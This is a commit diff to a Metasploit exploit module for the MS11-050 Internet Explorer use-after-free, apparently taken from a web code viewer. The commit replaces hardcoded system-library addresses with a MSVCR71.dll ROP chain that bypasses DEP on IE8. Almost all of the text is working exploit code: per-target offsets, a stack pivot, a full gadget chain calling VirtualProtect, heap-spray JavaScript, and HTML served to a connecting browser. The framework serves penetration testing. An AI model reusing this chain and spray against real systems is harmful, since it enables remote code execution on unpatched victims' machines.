Updated ROP, no more hardcoded ntdll addresses
git-svn-id: file:///home/svn/framework3/trunk@13106 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7589f8d2f1
commit
1058948419
|
@ -30,17 +30,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
|
'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a use-after-free vulnerability in Internet Explorer. The
|
This module exploits a use-after-free vulnerability in Internet Explorer. The
|
||||||
vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
|
vulnerability occurs when an invalid <object> tag exists and other elements
|
||||||
where the object tag should be when rendered (due to their styles/positioning). The
|
overlap/cover where the object tag should be when rendered (due to their
|
||||||
mshtml!CObjectElement is then freed from memory because it is invalid. However, the
|
styles/positioning). The mshtml!CObjectElement is then freed from memory because
|
||||||
mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
|
it is invalid. However, the mshtml!CDisplay object for the page continues to keep
|
||||||
attempts to call a function on it, leading to the use-after-free.
|
a reference to the freed <object> and attempts to call a function on it, leading
|
||||||
|
to the use-after-free.
|
||||||
|
|
||||||
|
Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to
|
||||||
|
bypass DEP.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => "$Revision$",
|
'Version' => "$Revision$",
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'd0c_s4vage',
|
'd0c_s4vage',
|
||||||
|
'sinn3r', #ROP (thx corelanc0d3r)
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -64,7 +69,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'Automatic', { } ],
|
||||||
|
|
||||||
# In IE6 the mshtml!CObjectElement size is 0xac
|
# In IE6 the mshtml!CObjectElement size is 0xac
|
||||||
[
|
[
|
||||||
'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
|
'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
|
||||||
|
@ -74,12 +78,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'FakeObjCount' => 0x4000,
|
'FakeObjCount' => 0x4000,
|
||||||
'FakeObjCountKeep' => 0x2000,
|
'FakeObjCountKeep' => 0x2000,
|
||||||
'ForLoopNumObjects' => 3,
|
'ForLoopNumObjects' => 3,
|
||||||
'FreedObjOverwritePointer'=>0x0c0c0c0c,
|
'FreedObjOverwritePointer' => 0x0c0c0c0c,
|
||||||
'FreedObjOffsetAlignSize'=>0,
|
'FreedObjOffsetAlignSize' => 0,
|
||||||
'ROP' => false,
|
'ROP' => false,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
[
|
[
|
||||||
'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
|
'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
|
||||||
{
|
{
|
||||||
|
@ -88,27 +91,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'FakeObjCount' => 0x8000,
|
'FakeObjCount' => 0x8000,
|
||||||
'FakeObjCountKeep' => 0x3000,
|
'FakeObjCountKeep' => 0x3000,
|
||||||
'ForLoopNumObjects' => 5,
|
'ForLoopNumObjects' => 5,
|
||||||
'FreedObjOverwritePointer'=>0x0c0c0c0c,
|
'FreedObjOverwritePointer' => 0x0c0c0c0c,
|
||||||
'FreedObjOffsetAlignSize'=>0,
|
'FreedObjOffsetAlignSize' => 0,
|
||||||
'ROP' => false,
|
'ROP' => false,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
[
|
[
|
||||||
'Win XP SP3 Internet Explorer 8',
|
#This target requires MSVCR71.dll (JRE 1.6)
|
||||||
|
'Win XP SP3 Internet Explorer 8 (DEP)',
|
||||||
{
|
{
|
||||||
'FreedObjSize' => 0xe0, # 0xdc rounded up
|
'FreedObjSize' => 0xe0, # 0xdc rounded up
|
||||||
'FakeObjCount' => 0x8000,
|
'FakeObjCount' => 0x8000,
|
||||||
'FakeObjCountKeep' => 0x3000,
|
'FakeObjCountKeep' => 0x3000,
|
||||||
'ForLoopNumObjects' => 5,
|
'ForLoopNumObjects' => 5,
|
||||||
'FreedObjOverwritePointer'=>0x0c0c0c0c,
|
'FreedObjOverwritePointer' => 0x0c0c0c0c,
|
||||||
'FreedObjOffsetAlignSize'=>2,
|
'FreedObjOffsetAlignSize' => 2,
|
||||||
#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
|
'StackPivot' => 0x7C348B05, #xchg eax,esp - MSVCR71.dll
|
||||||
'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
|
|
||||||
'ROP' => true,
|
'ROP' => true,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
[
|
[
|
||||||
'Debug Target (Crash)', {}
|
'Debug Target (Crash)', {}
|
||||||
],
|
],
|
||||||
|
@ -130,40 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
mytarget
|
mytarget
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# 3/22/2011
|
|
||||||
# fully patched x32 WinXP SP3, IE 8.0.6001.18702
|
|
||||||
def winxp_sp3_rva
|
|
||||||
{
|
|
||||||
#"kernel32!VirtualAlloc" => 0x7c809af1,
|
|
||||||
"kernel32!VirtualAlloc" => 0x7c809ae1,
|
|
||||||
"ntdll!memcpy" => 0x7c901db3,
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def compile_rop(rop_stack)
|
|
||||||
rva = winxp_sp3_rva()
|
|
||||||
num_random = 0
|
|
||||||
rop_stack.map do |rop_val|
|
|
||||||
case rop_val
|
|
||||||
when String
|
|
||||||
if rop_val == "random"
|
|
||||||
# useful for debugging
|
|
||||||
# num_random += 1
|
|
||||||
# 0xaabbcc00 + num_random
|
|
||||||
rand(0xffffffff)
|
|
||||||
else
|
|
||||||
raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
|
|
||||||
rva[rop_val]
|
|
||||||
end
|
|
||||||
when Integer
|
|
||||||
rop_val
|
|
||||||
else
|
|
||||||
raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
|
|
||||||
end
|
|
||||||
end.pack("V*")
|
|
||||||
end
|
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
mytarget = target
|
mytarget = target
|
||||||
if target.name == 'Automatic'
|
if target.name == 'Automatic'
|
||||||
|
@ -177,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@debug = true if mytarget == targets[4]
|
@debug = true if mytarget == targets[4]
|
||||||
|
|
||||||
return if ((p = regenerate_payload(cli)) == nil)
|
return if ((p = regenerate_payload(cli)) == nil)
|
||||||
|
|
||||||
id_name = rand_text_alpha(5)
|
id_name = rand_text_alpha(5)
|
||||||
dir_name = rand_text_alpha(3)
|
dir_name = rand_text_alpha(3)
|
||||||
|
|
||||||
|
@ -200,7 +167,49 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
raw_shellcode = payload.encoded
|
if @mytarget['ROP']
|
||||||
|
nop = 0x7c348b06
|
||||||
|
|
||||||
|
#mona.py tekniq
|
||||||
|
#https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
|
||||||
|
rop_stage2 = [
|
||||||
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||||
|
0x7c37a140, # Make EAX readable
|
||||||
|
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
|
||||||
|
nop, # EBP
|
||||||
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||||
|
0x7c37a140, # <- VirtualProtect() found in IAT
|
||||||
|
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
|
||||||
|
0x7c346c0b, # Slide, so next gadget would write to correct stack location
|
||||||
|
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
|
||||||
|
nop, # EDI (filler)
|
||||||
|
nop, # will be patched at runtime (VP), then picked up into ESI
|
||||||
|
nop, # EBX (filler)
|
||||||
|
0x7c376402, # POP EBP # RETN (msvcr71.dll)
|
||||||
|
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
|
||||||
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||||
|
0xfffff82f, # size 20001 bytes
|
||||||
|
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
|
||||||
|
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
|
||||||
|
0xffffffff, # pop value into ebx
|
||||||
|
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
|
||||||
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
|
||||||
|
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
|
||||||
|
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
|
||||||
|
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
|
||||||
|
0x7c34b8d8, # ROP NOP (-> edi)
|
||||||
|
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
|
||||||
|
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
|
||||||
|
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
|
||||||
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||||
|
0x90909090, # NOPS (-> eax)
|
||||||
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
|
||||||
|
].pack('V*')
|
||||||
|
else
|
||||||
|
rop_stage2 = ''
|
||||||
|
end
|
||||||
|
|
||||||
|
raw_shellcode = rop_stage2 + payload.encoded
|
||||||
shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))
|
shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))
|
||||||
|
|
||||||
spray = nil
|
spray = nil
|
||||||
|
@ -209,37 +218,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")
|
obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")
|
||||||
|
|
||||||
if @mytarget['ROP']
|
if @mytarget['ROP']
|
||||||
rop_stack = []
|
|
||||||
0x1f.times do |i|
|
|
||||||
rop_stack << "random"
|
|
||||||
end
|
|
||||||
|
|
||||||
idx = -1
|
rop_stage1 = [
|
||||||
idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1:
|
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||||
idx += 1 ; rop_stack[idx] = "ntdll!memcpy" # 2:ret 10 to this after VirtualAlloc
|
0x23000ddc,
|
||||||
idx += 1 ; rop_stack[idx] = 0x7f000000 # 1:VirtualAlloc:lpAddress
|
0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll)
|
||||||
idx += 1 ; rop_stack[idx] = 0x4000 # 1:VirtualAlloc:dwSize
|
]
|
||||||
idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
|
|
||||||
idx += 1 ; rop_stack[idx] = 0x40 # 1:VirtualAlloc:flProtect rwx
|
|
||||||
idx += 1 ; rop_stack[idx] = 0x7f001000 # 3:into this after memcpy
|
|
||||||
idx += 1 ; rop_stack[idx] = 0x7f001000 # 2:memcpy:dst
|
|
||||||
idx += 1 ; rop_stack[idx] = 0x23000100 # 2:memcpy:src
|
|
||||||
idx += 1 ; rop_stack[idx] = 0x2fff # 2:memcpy:size
|
|
||||||
|
|
||||||
# align the rest of it
|
junk = rand_text(4).unpack("L")[0].to_i
|
||||||
back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
|
|
||||||
rop_stack = back + rop_stack
|
|
||||||
|
|
||||||
rop_stack << @mytarget['StackPivot']
|
padding1 = [junk]*3
|
||||||
|
padding2 = [junk]*25
|
||||||
|
rop_stage1 = padding1 + rop_stage1 + padding2
|
||||||
|
|
||||||
# align the stack for 0c0c0c0c
|
rop_stage1 << @mytarget['StackPivot']
|
||||||
front = rop_stack.slice!(0, 19)
|
|
||||||
rop_stack = rop_stack + front
|
|
||||||
|
|
||||||
# resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
|
front = rop_stage1.slice!(0, 19)
|
||||||
rop = compile_rop(rop_stack)
|
rop_stage1 = rop_stage1 + front
|
||||||
|
|
||||||
nops = make_nops(0x1000 - raw_shellcode.length)
|
rop_stage1 = rop_stage1.pack('V*')
|
||||||
|
|
||||||
|
nops = rand_text_alpha(0x1000 - (0x800 - rop_stage2.length - raw_shellcode.length))
|
||||||
nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))
|
nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))
|
||||||
|
|
||||||
#spray up to 0x23000000
|
#spray up to 0x23000000
|
||||||
|
@ -253,7 +252,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
|
for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
|
||||||
JS
|
JS
|
||||||
|
|
||||||
spray = rop
|
spray = rop_stage1
|
||||||
shellcode = ""
|
shellcode = ""
|
||||||
else
|
else
|
||||||
spray = obj_overwrite_ptr
|
spray = obj_overwrite_ptr
|
||||||
|
@ -307,7 +306,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
</html>
|
</html>
|
||||||
HTML
|
HTML
|
||||||
|
|
||||||
print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport} (#{mytarget.name})...")
|
||||||
|
|
||||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue